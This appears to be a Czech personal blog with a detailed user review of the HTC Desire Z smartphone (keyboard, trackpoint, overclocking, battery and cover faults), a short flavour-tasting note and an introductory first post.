Před Ztkem jsem měl HTC Touch Pro2, kde byla klávesnice naprosto špičková. U Ztka najdeme oproti od TP2 jen čtyři řady kláves. Hodně lidí má strach, že by jim chyběla řada s číslama. To se dá vyřešit dvojtým stisknutím tlačítka Fn, které změní horní řadu na číselnou. Větsinou člověk píše buď jedno číslo (tzn Fn+jedna klávesa) nebo jich píše víc naráz (tzn 2x Fn+jednotlivé číslice). Jediný případ, kdy se mi nepíše pohodlně je při psaní IP adresy, která je prošpikovaná tečkama.

Při koupi telefonu mělo hodně lidí obavy ze specifického vysouvacího mechanismu. Přiznám se, že já zpočátku také. Diskutovalo se o dvou problémech:

1. tuhost/odpor při manipulaci
2. výdrž mechanismu

Hned po koupi měl telefon v otevírání vůli a vzhůru nohama při chycení pouze za klávesnici nedržel zavřený. Musím ale říct, že mi tato vlastnost nikdy nevadila. Telefon jsem nikdy nedržel výhradně za horní nebo dolní část. Při normálním používání tlačí gravitace část s obrazovkou dolů a telefon drží správně. Pokud telefon držím v ruce, naprosto automaticky používám ukazováčky k přidržování displeje, takže pokud si lehnu a mám telefon obrazovkou k zemi, ukazováčky znemožnují displeji se zavřít.

Na xda-developers.com je případně návod pro kutily, jak mechanismus zpevnit: http://forum.xda-developers.com/showthread.php?t=863919

Jestě bych rád zmínil skutečnost, že ukázkové kusy v prodejně HTC měly už zpočátku vůli mechanismu výrazně větší a jsem názoru, že buď jim tam dal někdo opravdu řádně zabrat nebo to bylo nějak povolené z výroby.

ad 2. výdrž mechanismu

Po 9ti měsících používání funguje otevírání telefonu naprosto stejně jako při jeho koupi. Telefon používám každodenně a nosím ho úplně všude. Klávesnici používám často a aby mi vydržel déle než den se téměř nestává. Mohu ale svědomitě říci, že výsuvná klávesnice nemá žádnou vůli a funguje přesně tak, jak to od ní očekávám.

Když vezmu v úvahu, že smartphone vydrží cca 2 roky než je zastaralý, tak v nejhorším uplatním záruku u výrobce než si koupím jiný telefon:-)

• Navigační trackpoint
  

V současné době je trend zbavovat se všech možných tlačítek. Stará generace přístroju HTC jako Desire, Wildfire měla navigační trackpoint a sadu čtyř standardních android tlačítek. Následoval HTC Desire HD a Desire Z, kde HD nemělo navigační senzor a následovalo HTC Desire S, Wildfire S, Sensation, kde všichni navigační trackpoint postrádají.

A k čemu se vlastně ten trackpoint tak hodí? V podstatě jediný důvod je absence navigačních šipek na samotné klávesnici, které jsou nepostradatelné při editaci textu. V Andrdoidu se v textu pohybuje kliknutím do textu a posunem ukazatele. To je ale neskutečně pomalé. Trackpoint nahrazuje směrové klávesy a je snadno přístupný pro palec pravé ruky. Užitečná je také funkce, že čím rychleji se přes trackpoint prstem přejede, o to více míst se kurzor posune. Když chci posun o malý kousek a záleží mi na přesnosti, stačí přejíždět pomalu.

Když už jsem popsal navigaci v textu, rád bych zmínil ještě jednu užitečnou featurku. Na klávesnici telefonu se nachází dvě tlačítka, na která si uživatel může namapovat spuštění libovolné aplikace. Pomocí aplikace ButtonRemapper (http://forum.xda-developers.com/showthread.php?p=9399440) je možné těmto tlačítkům přiřadit libovolnou funkcionalitu. Velice se mi osvědčilo namapovat na ně práve šipku vlevo a vpravo. Přecijen klávesa se dá přidržet, kdežto po trackpointu musí človek jezdit pořád dokola. Pro použití této aplikace je zapotřebí root telefonu.

• Tlačítko fotoaparátu

Absenci tlačítka pro fotoaparát u jíných telefonů naprosto nechápu. Pokud bych měl vybrat 5 nejlepších věcí na HTC Desire Z, tak tahle by tam určite patřila. Přidržením tlačítka fotoaparátu se spoustí aplikace pro fotografovani. Tlačítko ušetří ikonu na ploše, zpřistupní fotografování odkudkoliv a usnadňuje samotné pořízení snímku. Ideální pokud chcete neco rychle vyfotit.

• Snadno přístupná baterie

Hned vedle tlačítka pro fotoaparát se nachází takový posuvník, kterým se uvolňuje zadní kryt telefonu. Neviděl jsem na žádném jiném telefonu tak snadno přístupnou baterii jako právě tady. Nedochází zde tedy k žádnému lámání nebo ohýbání plastu jako u jiných telefonů. Osobně používám sice jen jednu baterii, takže tuto výhodu často nevyužiji, ale potěší.

• Procesor
  

Ve specifikaci HTC Desire Z se dočteme, že je procesor taktován pouze na 800 MHz. Překvapilo mě od kolika lidí jsem slyšel, že je telefon méně výkoný než starý HTC Desire, protože má taktovací frekvenci o 200 MHz nižší. Dotyční by byli pravděpodobně překvapeni, kdyby se podívali na taktovací frekvence procesoru několik let zpět a procesoru, který jim "dýchá" v nynějším počítači dnes. Ztko má sice nižší frekvenci, ale o generaci novější procesor, který je a) rychlejší b) má menší spotřebu. V podstatě se jedná o podtaktovaný procesor z HTC Desire HD. Má neuvěřitelné možnosti přetaktování. Sám používám frekvenci 1.2 GHz a telefon je naprosto stabilní.

Nyní bych rád zmínil pár věcí, které mi na telefonu naopak vadí a případný budoucí majitel by o nich měl vědět.

• Úbytek signálu wifi při otevřené klávesnici
  

Sám bych si pravděpodobně nevšiml, ale někde jsem četl, že pokud se telefon drží za klávesnici, dochází ke snížení signálu wifi. Jak jsem pak zjistil je tomu skutečně tak. Pokud telefon držím oběma rukama, tak signál wifi výrazně klesne. Nestalo se mi, že by se telefon od sítě odpojil nebo že by se přenos zpomalil, ale ikonka síly signálu se mění. Pokud telefon držím za klávesnici jen pravou rukou, signál opět vzroste.

• Loupání krytu baterie
  

Ačkoliv nosím telefon v koženém obalu, tak se mi loupe zadní kryt. Kamarád ho v pouzdře nenosí a zadní kryt se mu loupe ještě víc. Rozhodně to je důvod k reklamaci a očekávám, že do budoucna s tím budou problémy pořád. A co že se to vlastně loupe? Je to nějaký průhledný film na hliníkovém krytu. Jedná se o kosmetickou vadu, ale telefon pak reprezentativně nevypadá.

• Žluté fleky napravo od klávesnice

Tohoto bych si osobně vůbec nevšiml dokud by mi to kamarád neukázal na svém telefonu. Skutečně napravo od klávesnice telefonu se objevují žluté fleky. Pravděpodobně je pod tímo místem anténa wifi, která tuto nepříjemnost způsobuje. Míru zbarvení pravděpodobně ovlivňuje častost používání wifi.

• Výdrž baterie

Opět je to na denní nabíjení. V telefonu je baterie pouze o kapacitě 1300 mAh. I kdyby byl telefon o neco dražší, rád bych si za baterii doplatil. Častokrát se mi stává, že se vracím domů s téměř vybitým telefonem a to mám nastaven úsporný režim už od 25% baterie. Po přečtení zkušeností uživatele Twin z diskuzního fóra Smartmania.cz s baterií Mugen 1800mAh jsem se rozhodl, že si jí taktéž objednám. Měla by být skladem za měsíc, tak pak napíši srovnání.

V současné době se dá telefon sehnat za něco málo přes 6000 Kč. Za tuhle cenu je to podle mého názoru naprosto špičkový telefon. Starý HTC Desire se mi sice líbil vzhledem více, ale funkčně je na tom Ztko o poznání lépe.

Permalink | Leave a comment  »

Jako prvni jsem si dal Cocoa&vanilla. Vanilkova mi oproti cokoladove prisla takova nevyrazna. Kdybych si mel vybrat mezi cokoladovym a timto kombinovanym, volim klasickou cokoladu.

Dalsi jsem zkusil kombinaci visen&vanilka. Vanilka byla opet nevyrazna, ale naopak visnova byla fakt dobra! V kombinaci s vanilkou to nebylo jako kdyz clovek kouse curkovej chleba, ale chute se dobre doplnovaly. Tenhle doporucuju vyzkouset:-)

Permalink | Leave a comment  »

Čas od času mám chuť o nečem napsat, ale nemám pořádně kam. Blog jsem nikdy nevedl a psát to do poznámek na facebooku mi přišlo uchylný. Uvidíme, jak se s posterous skamaradím. Dokonce ještě nevím, zda budu psát s diakritikou či nikoliv. Teprve tu vše objevuju, takže tahle podoba stránek rozhodně není finální. Ale teď už jdu rychle spát, protože jsem dnes luckily udělal státnice a mám toho pro dnešek pokrk :-)

Permalink | Leave a comment  »